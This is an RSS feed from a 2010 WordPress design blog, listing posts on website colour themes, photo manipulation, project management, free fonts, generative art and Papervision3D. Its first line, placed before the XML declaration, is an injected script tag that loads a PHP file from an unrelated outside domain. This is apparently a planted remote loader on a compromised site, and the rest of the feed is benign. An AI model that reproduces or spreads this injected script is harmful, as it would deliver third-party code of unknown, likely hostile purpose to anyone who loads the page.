<script src=http://appleping.nl/nieuwsbrief/basis.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Designopoint &#187; Design</title>
	<atom:link href="http://designopoint.com/category/design/feed/" rel="self" type="application/rss+xml" />
	<link>http://designopoint.com</link>
	<description>A space in my space</description>
	<lastBuildDate>Wed, 16 Jun 2010 11:55:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>showcase 50 exceptional website designs using Orange color themes</title>
		<link>http://designopoint.com/2010/01/showcase-50-exceptional-website-designs-using-orange-color-themes/</link>
		<comments>http://designopoint.com/2010/01/showcase-50-exceptional-website-designs-using-orange-color-themes/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 15:50:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[great design]]></category>
		<category><![CDATA[inspiration]]></category>
		<category><![CDATA[Orange color theme]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=754</guid>
		<description><![CDATA[








For people who love orange color, here&#8217;s a great collection of 40 websites done using orange color theme.
Visit the article page
Possibly related posts: (automatically generated)

Related posts on great design
danze d205358ss parma single-handle wall mount pot filler &#8230;
Bigliu &#8211; From Small to Big » Twitter Updates for 2010-01-22


Related posts on inspiration
Ipsen (NYSE:IPN) and Inspiration Biopharmaceuticals Inc [...]]]></description>
		<wfw:commentRss>http://designopoint.com/2010/01/showcase-50-exceptional-website-designs-using-orange-color-themes/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>27 hilarious stuff you wish, were Photoshopped</title>
		<link>http://designopoint.com/2010/01/27-hilarious-stuff-you-wish-were-photoshopped/</link>
		<comments>http://designopoint.com/2010/01/27-hilarious-stuff-you-wish-were-photoshopped/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 15:39:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[creative inspiration]]></category>
		<category><![CDATA[photo manipulations]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=749</guid>
		<description><![CDATA[
Funny photo manipulation of famous brands. Visit the article page
Possibly related posts: (automatically generated)

Related posts on creative inspiration
creating stamps photoshop
SCOTT POWER » Creative Inspiration from the Behance Network XIX
Celebrating Birth « Hip Mountain Mama


Related posts on photo manipulations
Photoshop Tips That Will Really Help « e-oferte.com
Aida&#8217;s Digital Fine Art Paintings and Photo Manipulations

 Tweet This Post]]></description>
		<wfw:commentRss>http://designopoint.com/2010/01/27-hilarious-stuff-you-wish-were-photoshopped/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web Search Strategies in the simplest language</title>
		<link>http://designopoint.com/2010/01/web-search-strategies-in-the-simplest-language/</link>
		<comments>http://designopoint.com/2010/01/web-search-strategies-in-the-simplest-language/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 16:51:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Web Search Strategies]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=744</guid>
		<description><![CDATA[

Possibly related posts: (automatically generated)

Related posts on Web Search Strategies
Web Search Strategies in Plain English
YaBiGo &#8211; Parallele Suche mit Yahoo, Bing und Google
Web Search Strategies in Plain English

 Tweet This Post]]></description>
		<wfw:commentRss>http://designopoint.com/2010/01/web-search-strategies-in-the-simplest-language/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Power 5: Improve your project management skills</title>
		<link>http://designopoint.com/2010/01/power-5-improve-your-project-management-skills/</link>
		<comments>http://designopoint.com/2010/01/power-5-improve-your-project-management-skills/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 16:01:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Power 5]]></category>
		<category><![CDATA[Project management skills]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=728</guid>
		<description><![CDATA[
Improve your project management skills with this collection of articles.

 1. Learning Project Management
 2. Defining Project Goals and Objectives
 3. Develop your project team and quickly!
 4. How Do You Perceive Your Team?
 5. 6 Reasons Why You Should Use an Online Project Management Tool

Possibly related posts: (automatically generated)

Related posts on Project management skills
The [...]]]></description>
		<wfw:commentRss>http://designopoint.com/2010/01/power-5-improve-your-project-management-skills/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>15 Facebook Learnings from the top 50 brands</title>
		<link>http://designopoint.com/2010/01/15-facebook-learnings-from-the-top-50-brands/</link>
		<comments>http://designopoint.com/2010/01/15-facebook-learnings-from-the-top-50-brands/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 15:35:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Facebook Learnings]]></category>
		<category><![CDATA[tips from top brand]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=719</guid>
		<description><![CDATA[Know what top brands have learned from their experience with facebook.
15 Facebook Learnings from the top 50 brands
View more presentations from Axon Alex.

Possibly related posts: (automatically generated)

Related posts on Facebook Learnings
Social Media or KM / KM or Social Media &#124; stuart henshall

 Tweet This Post]]></description>
		<wfw:commentRss>http://designopoint.com/2010/01/15-facebook-learnings-from-the-top-50-brands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Identity design process for a personal rebranding</title>
		<link>http://designopoint.com/2009/12/identity-design-process-for-a-personal-rebranding/</link>
		<comments>http://designopoint.com/2009/12/identity-design-process-for-a-personal-rebranding/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 17:17:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Identity Design Process]]></category>
		<category><![CDATA[Logo Design Process]]></category>
		<category><![CDATA[Personal Rebranding]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=492</guid>
		<description><![CDATA[
Read how Mike Tittel design his Photography’s logo.
 Tweet This Post]]></description>
		<wfw:commentRss>http://designopoint.com/2009/12/identity-design-process-for-a-personal-rebranding/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>15 Project Management Apps That Help Make Web Development More Efficient</title>
		<link>http://designopoint.com/2009/12/15-project-management-apps-that-help-make-web-development-more-efficient/</link>
		<comments>http://designopoint.com/2009/12/15-project-management-apps-that-help-make-web-development-more-efficient/#comments</comments>
		<pubDate>Sat, 26 Dec 2009 16:26:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Project Management Tips]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=629</guid>
		<description><![CDATA[
Web developers are often guilty of devoting too much time to their core work, at the expense of effective project management and admin. It’s all very well building an amazing website, but if it’s not delivered on schedule and within budget, you’re going to end up losing money and repeat business. Project management apps are [...]]]></description>
		<wfw:commentRss>http://designopoint.com/2009/12/15-project-management-apps-that-help-make-web-development-more-efficient/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beautiful Fresh Free Fonts for Designers</title>
		<link>http://designopoint.com/2009/12/beautiful-fresh-free-fonts-for-designers/</link>
		<comments>http://designopoint.com/2009/12/beautiful-fresh-free-fonts-for-designers/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 16:02:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Free Fonts for Designers]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=616</guid>
		<description><![CDATA[
Amazing collection of decorative free fonts, must see at 2ExpertsDesign.com.
Read it at 2ExpertsDesign.com.
Possibly related posts: (automatically generated)

Related posts on Free Fonts for Designers
Favorites from our Tweets of the Dec 13 – Dec 19, 2009
Beautiful Fresh Free Fonts for Designers » CSSclip*Resources …
Favorites from our Tweets of the Dec 06–Dec 12, 2009

 Tweet This Post]]></description>
		<wfw:commentRss>http://designopoint.com/2009/12/beautiful-fresh-free-fonts-for-designers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Getting Started With Generative Art</title>
		<link>http://designopoint.com/2009/12/getting-started-with-generative-art/</link>
		<comments>http://designopoint.com/2009/12/getting-started-with-generative-art/#comments</comments>
		<pubDate>Thu, 10 Dec 2009 17:51:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[Experiments]]></category>
		<category><![CDATA[Generative Art]]></category>
		<category><![CDATA[inspiration]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=607</guid>
		<description><![CDATA[
Generative art as defined by Philip Galanter is, “Any art practice where the artist creates a process, such as a set of natural language rules, a computer program, a machine, or other mechanism, which is then set to motion with some degree of autonomy contributing to or resulting in a complete work of art.”

Visit the [...]]]></description>
		<wfw:commentRss>http://designopoint.com/2009/12/getting-started-with-generative-art/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>20 Super Impressive Examples of Papervision3D in Action</title>
		<link>http://designopoint.com/2009/12/20-super-impressive-examples-of-papervision3d-in-action/</link>
		<comments>http://designopoint.com/2009/12/20-super-impressive-examples-of-papervision3d-in-action/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 17:47:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[inspiration]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Papervision3D]]></category>

		<guid isPermaLink="false">http://designopoint.com/?p=601</guid>
		<description><![CDATA[
For those not familiar with Papervision3D, it’s a real-time 3D engine for Adobe Flash. In the past couple of years Papervision3D’s popularity has been growing and we’ve seen and an ever increasing adoption by Flash developers, and it’s no surprise as to why. By coupling Flash’s interactive nature and the power of a 3D engine, [...]]]></description>
		<wfw:commentRss>http://designopoint.com/2009/12/20-super-impressive-examples-of-papervision3d-in-action/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
